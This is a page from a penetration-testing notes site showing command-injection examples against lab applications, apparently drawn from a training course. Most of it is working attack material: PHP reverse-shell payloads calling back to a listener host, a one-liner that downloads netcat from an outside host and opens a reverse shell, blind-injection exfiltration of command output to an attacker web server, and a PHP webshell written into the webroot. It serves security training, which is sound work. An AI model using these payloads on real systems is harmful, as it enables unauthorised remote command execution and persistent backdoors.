Pentest Journeys
Connect
  • Welcome!
  • Boxes
    • Categories
    • Starting Point
      • Unified
      • Three
    • Easy
      • Forest
      • Sauna
      • Active
      • Broker
      • Return
      • Timelapse
      • Support
      • Nibbles
      • Keeper
      • CozyHosting
      • Devvortex
      • Lame
      • FunBoxEasyEnum
      • Inclusiveness
      • Potato
      • Sumo
    • Medium
      • Resolute
      • Cascade
      • Monteverde
      • Intelligence
      • StreamIO
      • Loly
    • Hard
      • Mantis
      • Blackfield
      • Reel
    • Insane
      • Sizzle
      • Multimaster
      • Rebound
  • Cloud
    • Public Snapshots
  • TL;DR
    • Active Directory
      • AD Authentication
      • Access Controls
      • Recon
      • Groups
        • Account Operators
        • Backup Operators
        • DnsAdmins
        • Exchange Windows Permissions
        • Server Operators
      • Privileges
        • SeBackupPrivilege
        • SeImpersonatePrivilege
      • Permissions
        • AddSelf
        • DCSync
        • ForceChangePassword
        • FullControl
        • GenericAll
        • GenericWrite
        • Owns
        • ReadGMSAPassword
        • ReadLAPSPassword
        • WriteDACL
        • WriteOwner
      • Attacks
        • Password Spraying
        • ASREPRoasting
        • Kerberoasting
        • Silver Tickets
        • DCSync
        • Delegation
          • Unconstrained
          • Constrained
          • Resource-Based
        • Local SAM Dump
        • NTLMv2
        • Services
        • Scheduled Tasks
        • Exploits
      • Lateral Movement
        • WMI & WinRM
        • PsExec
        • Pass-the-Hash
        • Overpass-the-Hash
        • Pass-the-Ticket
        • DCOM
        • SSP Injection
      • Persistence
        • Golden Ticket
        • Shadow Copies
    • Web
      • Common Findings
        • Security Headers
        • Cookie Flags
        • SSL/TLS
      • Authentication
        • Broken Reset Logic
        • Brute Force Attacks
        • Rate Limiting
        • Session Tokens
        • MFA
        • JWTs
      • Authorization
        • IDOR / BOLA
        • IDOR / BFLA
        • Weak Access Controls
        • Automated A-B Testing
      • Injections
        • SQLi
          • SQLi 101
          • In Band
          • Blind
          • NoSQLi
          • Second Order
          • Other
        • XSS
          • XSS 101
          • Reflected
          • Stored
          • DOM-Based
          • Exploitation
          • Payloads
        • CI
          • CI
          • Filters
          • Examples
        • SSTI
          • SSTI 101
          • Twig
          • Freemarker
          • Pug
          • Jinja
          • Mustache
          • Handlebars
          • Mako
          • Case Study: Craft CMS
        • XXEI
          • XML 101
          • XXEI
      • File Inclusion
        • LFI & RFI
        • RCE
      • Cross-Origin
        • Cross-Origin 101
        • CSRF
        • CORS
      • File Uploads
      • Mass Assignment
      • WebSockets
      • Open Redirects
      • Race Conditions
      • SSRF
        • Exploitation
        • Examples
    • API
      • What is an API?
      • Useful Terms
      • Collection Creation
      • Enumeration
      • Tests
        • General
        • Security Misconfigurations
        • Authorization
          • BOLA
          • BFLA
        • Authentication
          • BFAs
          • Tokens
          • JWTs
            • Entropy Analysis
            • Signature Validation
            • Weak Signature
            • Header Injection
            • Algorithm Confusion
        • Excessive Data Exposure
        • HTTP Verb Tampering
        • Content Type Tampering
        • Improper Asset Management
        • Mass Assignment
        • SSRF
        • Unrestriced Resource Consumption
        • Unrestricted Access to Sensitive Business Flows
        • Unsafe API Consumption
    • Infra
      • Windows
      • Linux
      • FreeBSD
    • Pivoting
      • Networking 101
      • Port Foward
      • SSH Tunelling
      • Deep Packet Inspection
        • HTTP Tunneling
        • DNS Tunneling
    • Social Engineering
      • Phising
    • Cloud
      • AWS
        • Recon
    • Code Review
  • Tools
    • Web
      • Web Checklist
      • API
        • mitmweb
        • KiteRunner
        • Arjun
        • jwt_tool
      • Dirbusting
        • Fuff
        • Dirsearch
        • GoBuster
        • Wfuzz
      • Cloud
        • AWS
      • cURL
      • Hydra
      • Hakrawler
      • amass
      • WAFs
      • WhatWeb
      • Creds
      • SQLMap
      • GoWitness
      • Web Servers
        • Apache
        • Nginx
        • IIS
      • Frameworks
        • Spring
      • CMS
        • WordPress
        • Joomla
        • DNN
        • Umbraco
        • RiteCMS
      • DevOps
        • GitLab
        • Git Tools
      • BurpSuite
    • Infra
      • pspy
    • Port Scanners
      • Nmap
      • Rustscan
      • Arp-Scan
      • Netcat
      • PowerShell
    • Active Directory
      • netexec
      • impacket
      • mimikatz
      • Hounds
      • PowerView
      • SysInternals
      • net.exe
      • ldapsearch
      • BloodyAD
      • PowerView.py
      • Rubeus
      • DPAT
      • PingCastle
      • PowerUp
      • runas
      • Kerbrute
    • Passwords
      • HashID
      • Hashcat
      • John
      • DomainPasswordSpray
      • Credential Enum
    • Searchsploit
    • Metasploit
      • 101
      • Payloads
      • Post-Exploitation
      • Resource Scripts
    • Usernames
    • Vulnerability Scanners
      • Nuclei
      • Nikto
    • Text
      • jq
      • grep
      • awk
      • sed
      • tr
      • printf
    • Output
      • tee
    • Pivoting
      • Ligolo-ng
      • Sshuttle
    • Shells
      • Reverse Shells
      • Webshells
      • Upgrade
      • Listeners
        • Socat
        • Pwncat
        • Nc
    • Traffic Capture
    • File Transfers
    • Crypto
    • Files
    • Images
    • Evil-WinRM
    • KeePass
    • Random Scripts
  • Services
    • TCP
      • Remote Access
        • SSH (22)
        • RDP (3389)
        • WinRM (5985,5986)
      • Shares
        • FTP (21)
        • NFS (111, 2049)
        • SMB (139, 445)
      • LDAP (389, 636)
      • DNS (53)
      • SMTP (25,587)
      • DISTCC (3632)
      • AFS (1978)
      • DBMS
        • SQL
          • MSSQL (1433)
          • Oracle (1521)
          • MySQL (3306)
          • MariaDB (3306)
          • PostgreSQL (5432)
        • NoSQL
          • Aerospike (3000-3005)
          • MongoDB (27017)
    • UDP
      • SNMP (161)
  • OTHER
    • Exploits
      • Screen
    • CLIs
      • CMD
      • PowerShell
  • Package Managers
    • vevn
    • uv
  • Blue Team Stuff
    • Logs
      • System Logs
      • Apache2
      • Volatile Data
    • Traffic Analysis
      • Wireshark
Powered by GitBook
On this page
  • In Band
  • Simple Payload
  • Complex Payload
  • Blind
  • Capabilities Recon
  • Reverse Shell
  • File Transfer
  • Webshell

Was this helpful?

  1. TL;DR
  2. Web
  3. Injections
  4. CI

Examples

PreviousFiltersNextSSTI

Last updated 9 months ago

Was this helpful?

In Band

In-Band CI occurs when the attacker can directly insert and execute malicious commands in a web application or system’s input fields or parameters, using the same channel to both send commands and receive outputs.

Simple Payload

The example below is based on TCM's course.

The application takes our input and passes it into a curl command which is then grepped (Figure 1.1). We can start simple by just appending a command using ;, but this gives no output (Figure 1.2). Next, we can try commenting out the grep part by using # (Figure 1.3).

;php -r '$sock=fsockopen("172.31.150.94",9999);exec("/bin/sh -i <&3 >&3 2>&3");'#

Complex Payload

The application we need to test tracks the fleet vehicle's coordinates and calculates the distance between its current position and its destination (Figure 3).

We have two fields that are directly inputted within the executed command. We can start by trying to manipulate the second field first (Figure 4).

# original command
awk 'BEGIN {print sqrt(((-111)^2) + ((-222)^2))}'

# our goal command
awk 'BEGIN {print sqrt(((-111)^2) + ((-222)^2))}';whoami;#

# the payload
222)^2))}';whoami;#

# the final command
awk 'BEGIN {print sqrt(((-111)^2) + ((-222)^2))}';whoami;#)^2))}'
222)^2))}';php -r '$sock=fsockopen("172.31.150.94",9999);exec("/bin/sh -i <&3 >&3 2>&3");';#

Blind

Blind CI occurs when the attacker does not see the output of the injected commands directly. Instead, they infer the success or failure of the commands through side effects or indirect responses.

localhost?q=`sleep 5`

We also use time and curl to measure the response time within the CLI.

$ time curl "http://localhost?q=localhost"
<html>
<SNIP>
</html>

real    0m0.062s # Normal response time
user    0m0.006s
sys     0m0.000s

$ time curl "http://localhost?q=`sleep+5`"
<html>
<SNIP>
</html>

real    0m5.063s # The 'sleep 5' payload worked
user    0m0.003s
sys     0m0.003s

Next, we can achieve by spawning up a web server and passing the desired command as a parameter (Figure 8).

http://172.31.150.94:9999/?q=`whoami`

Capabilities Recon

When we achieve RCE, we can enumerate the target for useful binaries. The w00tw00t was added to the wordlist as an example of what the response of a non-existing binary looks like.

$ cat capability_checks_linux.txt
w00tw00t
wget
curl
fetch
gcc
cc
nc
socat
ping
netstat
ss
ifconfig
ip
hostname
php
python
python3
perl
java

$ ffuf -u "http://ci-sandbox/php/index.php?ip=127.0.0.1;which%20FUZZ" -w capability_checks_linux.txt -c

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ci-sandbox/php/index.php?ip=127.0.0.1;which%20FUZZ
 :: Wordlist         : FUZZ: /home/x7331/web200/capability_checks_linux.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

java                 [Status: 200, Size: 491, Words: 59, Lines: 11, Duration: 4118ms]
perl                 [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4119ms]
ip                   [Status: 200, Size: 491, Words: 59, Lines: 11, Duration: 4119ms]
python               [Status: 200, Size: 507, Words: 59, Lines: 12, Duration: 4119ms]
php                  [Status: 200, Size: 510, Words: 59, Lines: 12, Duration: 4120ms]
hostname             [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4120ms]
fetch                [Status: 200, Size: 492, Words: 59, Lines: 11, Duration: 4148ms]
ss                   [Status: 200, Size: 492, Words: 59, Lines: 11, Duration: 4148ms]
gcc                  [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4149ms]
ifconfig             [Status: 200, Size: 507, Words: 59, Lines: 12, Duration: 4149ms]
python3              [Status: 200, Size: 508, Words: 59, Lines: 12, Duration: 4276ms]
socat                [Status: 200, Size: 491, Words: 59, Lines: 11, Duration: 5268ms]
cc                   [Status: 200, Size: 503, Words: 59, Lines: 12, Duration: 5297ms]
nc                   [Status: 200, Size: 499, Words: 59, Lines: 12, Duration: 6259ms]
wget                 [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 6259ms]
ping                 [Status: 200, Size: 501, Words: 59, Lines: 12, Duration: 6291ms]
curl                 [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 6291ms]
w00tw00t             [Status: 200, Size: 491, Words: 59, Lines: 11, Duration: 7282ms]

Based on the above results, the response 491 can be filtered out.

$ ffuf -u "http://ci-sandbox/php/index.php?ip=127.0.0.1;which%20FUZZ" -w capability_checks_linux.txt -c -fs 491

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ci-sandbox/php/index.php?ip=127.0.0.1;which%20FUZZ
 :: Wordlist         : FUZZ: /home/x7331/web200/capability_checks_linux.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 491
________________________________________________

wget                 [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4098ms]
curl                 [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4098ms]
python3              [Status: 200, Size: 508, Words: 59, Lines: 12, Duration: 4098ms]
php                  [Status: 200, Size: 510, Words: 59, Lines: 12, Duration: 4130ms]
cc                   [Status: 200, Size: 503, Words: 59, Lines: 12, Duration: 4133ms]
nc                   [Status: 200, Size: 499, Words: 59, Lines: 12, Duration: 4133ms]
hostname             [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 4863ms]
gcc                  [Status: 200, Size: 504, Words: 59, Lines: 12, Duration: 5888ms]
ping                 [Status: 200, Size: 502, Words: 59, Lines: 12, Duration: 5920ms]
ifconfig             [Status: 200, Size: 506, Words: 59, Lines: 12, Duration: 6912ms]
perl                 [Status: 200, Size: 505, Words: 59, Lines: 12, Duration: 6912ms]
python               [Status: 200, Size: 507, Words: 59, Lines: 12, Duration: 6912ms]

Reverse Shell

File Transfer

If the target is hardened and we are unable to get a reverse shell, we can try downloading a binary to the target ourselves. In the example below, we download the netcat binary, make it executable, and then execute a reverse shell payload.

wget http://192.168.49.51:80/nc -O /var/tmp/nc ; chmod 755 /var/tmp/nc ; /var/tmp/nc -nv 192.168.45.155 9090 -e /bin/bash

Webshell

If we don't have access to unique binaries and we know the technology that the application uses, we can write our own backdoor. We first need to find the present working directory via the CI vulnerablity (Figure 9).

We can create a payload that creates a PHP webshell under the webroot.

echo+"<pre><?php+passthru(\$_GET['cmd']);+?></pre>"+>+/var/www/html/webshell.php

Next, we can interact via our webshell.

$ curl http://ci-sandbox/webshell.php?cmd=id
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>

We can also try to achieve by first checking what technology is used on the application and then getting a payload from a repository such as (Figure 2).

The example below is based on TCM's course.

We can achieve RCE with the same logic using the (Figure 5).

The example below is based on TCM's course.

This time we have the same Network Checker app, but the does not work (Figure 6.1). Either something gets filtered, which we can check (Figure 6.2 & 6.3), or we the command is executed but we don't get any output on the front-end.

We can try a payload that alters the application's behaviour (similar to ) and see if this works. This can be tested with Burp Suite's Repeater, as it shows the response time in the bottom right corner (Figure 7).

Next, we can try sending a from the target to our attack host.

PayloadAllTheThings
Practical Bug Bounty
Practical Bug Bounty
Blind SQLi
reverse shell
previously used payload
previous attack
Practical Bug Bounty
Figure 1: A basic example of a command injection attack.
Figure 2: Achieving RCE.
Figure 3: Undestanding the application's functionality.
Figure 4: Executing a successful CI attack.
Figure 5: Achieving RCE via a CI vulnerability.
Figure 6: An unsuccessful CI attack.
Figure 7: Confirming a blind CI vulnerability.
Figure 8: Achieving RCE via a blind CI vulnerability.
Figure 9: Enumerating the present working directory.